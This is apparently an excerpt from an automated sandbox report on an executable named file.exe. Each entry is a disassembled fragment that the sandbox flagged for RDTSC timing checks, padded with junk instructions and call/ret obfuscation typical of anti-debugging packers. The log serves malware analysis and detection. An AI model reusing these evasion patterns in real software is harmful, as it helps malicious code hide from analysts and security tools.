Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 374F8B second address: 374FA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FCDDCF97D18h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 377148 second address: 37714C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37714C second address: 377156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37FF2D second address: 37FF31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37FF31 second address: 37FF3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37F387 second address: 37F3AC instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCDDCC991D6h 0x00000008 jmp 00007FCDDCC991E8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37F68D second address: 37F6B2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FCDDCF97D29h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37FC38 second address: 37FC44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FCDDCC991D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3829D5 second address: 3829DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FCDDCF97D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3829DF second address: 382A1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FCDDCC991DFh 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jng 00007FCDDCC991DEh 0x0000001b push esi 0x0000001c jbe 00007FCDDCC991D6h 0x00000022 pop esi 0x00000023 mov eax, dword ptr [eax] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 382A1D second address: 382A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 382D8A second address: 382D9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FCDDCC991DAh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 382D9B second address: 382DB5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCDDCF97D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jng 00007FCDDCF97D22h 0x00000012 jbe 00007FCDDCF97D1Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 382F63 second address: 382F6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FCDDCC991D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 382F6E second address: 382F74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38303B second address: 383054 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FCDDCC991DDh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383054 second address: 383059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383112 second address: 383116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383116 second address: 38311A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38311A second address: 38312E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d je 00007FCDDCC991D6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38312E second address: 38314B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCDDCF97D28h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383207 second address: 38320C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383678 second address: 383689 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007FCDDCF97D16h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383689 second address: 383694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383694 second address: 383698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383708 second address: 383726 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007FCDDCC991D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383726 second address: 383730 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCDDCF97D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3838B4 second address: 3838E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FCDDCC991E8h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3838E3 second address: 3838E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3839EC second address: 3839F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3839F0 second address: 3839F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3839F6 second address: 3839FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383BBD second address: 383BD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383BD5 second address: 383BDF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCDDCC991DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383C77 second address: 383C7D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38424A second address: 384250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384250 second address: 384254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 389077 second address: 38908C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jnl 00007FCDDCC991D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38908C second address: 3890F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FCDDCF97D18h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 sub dword ptr [ebp+122D24F8h], edi 0x0000002c cmc 0x0000002d push 00000000h 0x0000002f mov dword ptr [ebp+12484D01h], edx 0x00000035 xchg eax, ebx 0x00000036 js 00007FCDDCF97D2Eh 0x0000003c jg 00007FCDDCF97D28h 0x00000042 push eax 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3890F0 second address: 3890F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38BC55 second address: 38BC67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCDDCF97D1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38BC67 second address: 38BD29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ebx, edi 0x0000000d push dword ptr fs:[00000000h] 0x00000014 stc 0x00000015 mov dword ptr fs:[00000000h], esp 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007FCDDCC991D8h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 call 00007FCDDCC991E6h 0x0000003b jmp 00007FCDDCC991E9h 0x00000040 pop edi 0x00000041 mov eax, dword ptr [ebp+122D0C65h] 0x00000047 mov edi, eax 0x00000049 push FFFFFFFFh 0x0000004b push 00000000h 0x0000004d push eax 0x0000004e call 00007FCDDCC991D8h 0x00000053 pop eax 0x00000054 mov dword ptr [esp+04h], eax 0x00000058 add dword ptr [esp+04h], 0000001Bh 0x00000060 inc eax 0x00000061 push eax 0x00000062 ret 0x00000063 pop eax 0x00000064 ret 0x00000065 jmp 00007FCDDCC991DCh 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e push eax 0x0000006f pop eax 0x00000070 jmp 00007FCDDCC991E9h 0x00000075 popad 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38DA50 second address: 38DAB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov bx, CE5Fh 0x00000010 push 00000000h 0x00000012 sbb bh, 0000006Fh 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007FCDDCF97D18h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 xchg eax, esi 0x00000032 jmp 00007FCDDCF97D1Eh 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushad 0x0000003c popad 0x0000003d jnl 00007FCDDCF97D16h 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392A27 second address: 392A2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391B61 second address: 391B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3949E9 second address: 394A1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCDDCC991E1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 394A1A second address: 394A5E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FCDDCF97D18h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 mov di, 6517h 0x00000026 push 00000000h 0x00000028 mov edi, dword ptr [ebp+122D367Ch] 0x0000002e push 00000000h 0x00000030 mov edi, dword ptr [ebp+122D36D0h] 0x00000036 xchg eax, esi 0x00000037 push edi 0x00000038 push eax 0x00000039 push edx 0x0000003a jl 00007FCDDCF97D16h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3959AA second address: 3959DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a and ebx, 0354880Dh 0x00000010 push 00000000h 0x00000012 jmp 00007FCDDCC991DDh 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+122D30E6h], ecx 0x0000001f push eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 jnc 00007FCDDCC991D6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 397A1D second address: 397A23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 397A23 second address: 397AC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jl 00007FCDDCC991D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f mov dword ptr [ebp+124817D9h], edx 0x00000015 movsx ebx, dx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FCDDCC991D8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 mov ebx, dword ptr [ebp+122D3A4Eh] 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push esi 0x0000003f call 00007FCDDCC991D8h 0x00000044 pop esi 0x00000045 mov dword ptr [esp+04h], esi 0x00000049 add dword ptr [esp+04h], 00000016h 0x00000051 inc esi 0x00000052 push esi 0x00000053 ret 0x00000054 pop esi 0x00000055 ret 0x00000056 mov ebx, dword ptr [ebp+122D56FFh] 0x0000005c xchg eax, esi 0x0000005d jnl 00007FCDDCC991F4h 0x00000063 push eax 0x00000064 pushad 0x00000065 jmp 00007FCDDCC991E1h 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d pop eax 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 394BDA second address: 394BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 394BDF second address: 394BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 395BFF second address: 395C03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 394BE5 second address: 394BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 394BE9 second address: 394C60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FCDDCF97D1Ch 0x00000013 pop edx 0x00000014 nop 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov dword ptr [ebp+122D30C6h], edx 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c call 00007FCDDCF97D18h 0x00000031 pop eax 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 add dword ptr [esp+04h], 0000001Bh 0x0000003e inc eax 0x0000003f push eax 0x00000040 ret 0x00000041 pop eax 0x00000042 ret 0x00000043 jnc 00007FCDDCF97D17h 0x00000049 mov eax, dword ptr [ebp+122D1671h] 0x0000004f mov bx, C8E4h 0x00000053 push FFFFFFFFh 0x00000055 mov dword ptr [ebp+122D3578h], esi 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 pop eax 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 394C60 second address: 394C64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 396B88 second address: 396B8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 396B8E second address: 396B94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 396B94 second address: 396B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 396C5F second address: 396C65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3999DD second address: 399A64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FCDDCF97D18h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 nop 0x00000013 or dword ptr [ebp+122D27FFh], eax 0x00000019 stc 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push eax 0x0000001f call 00007FCDDCF97D18h 0x00000024 pop eax 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc eax 0x00000032 push eax 0x00000033 ret 0x00000034 pop eax 0x00000035 ret 0x00000036 mov edi, edx 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push esi 0x0000003d call 00007FCDDCF97D18h 0x00000042 pop esi 0x00000043 mov dword ptr [esp+04h], esi 0x00000047 add dword ptr [esp+04h], 00000015h 0x0000004f inc esi 0x00000050 push esi 0x00000051 ret 0x00000052 pop esi 0x00000053 ret 0x00000054 jnp 00007FCDDCF97D1Ch 0x0000005a sub dword ptr [ebp+12456D16h], esi 0x00000060 xchg eax, esi 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399A64 second address: 399A6E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCDDCC991D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399A6E second address: 399A86 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FCDDCF97D1Ch 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39ACC8 second address: 39ACE7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCDDCC991D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FCDDCC991DDh 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39ACE7 second address: 39ACEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39ACEB second address: 39ACF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A1B39 second address: 3A1B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A1B3E second address: 3A1B63 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007FCDDCC991D6h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FCDDCC991E3h 0x00000011 jne 00007FCDDCC991D6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A1FE5 second address: 3A2003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FCDDCF97D25h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A2003 second address: 3A2007 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A2007 second address: 3A200D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ABB99 second address: 3ABBB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCDDCC991E2h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ABBB5 second address: 3ABBC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FCDDCF97D16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ABBC0 second address: 3ABBD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCDDCC991E1h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ABBD7 second address: 3ABBEB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FCDDCF97D16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ABBEB second address: 3ABC05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FCDDCC991E4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ABC05 second address: 3ABC11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FCDDCF97D16h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC133 second address: 3AC13E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC13E second address: 3AC144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
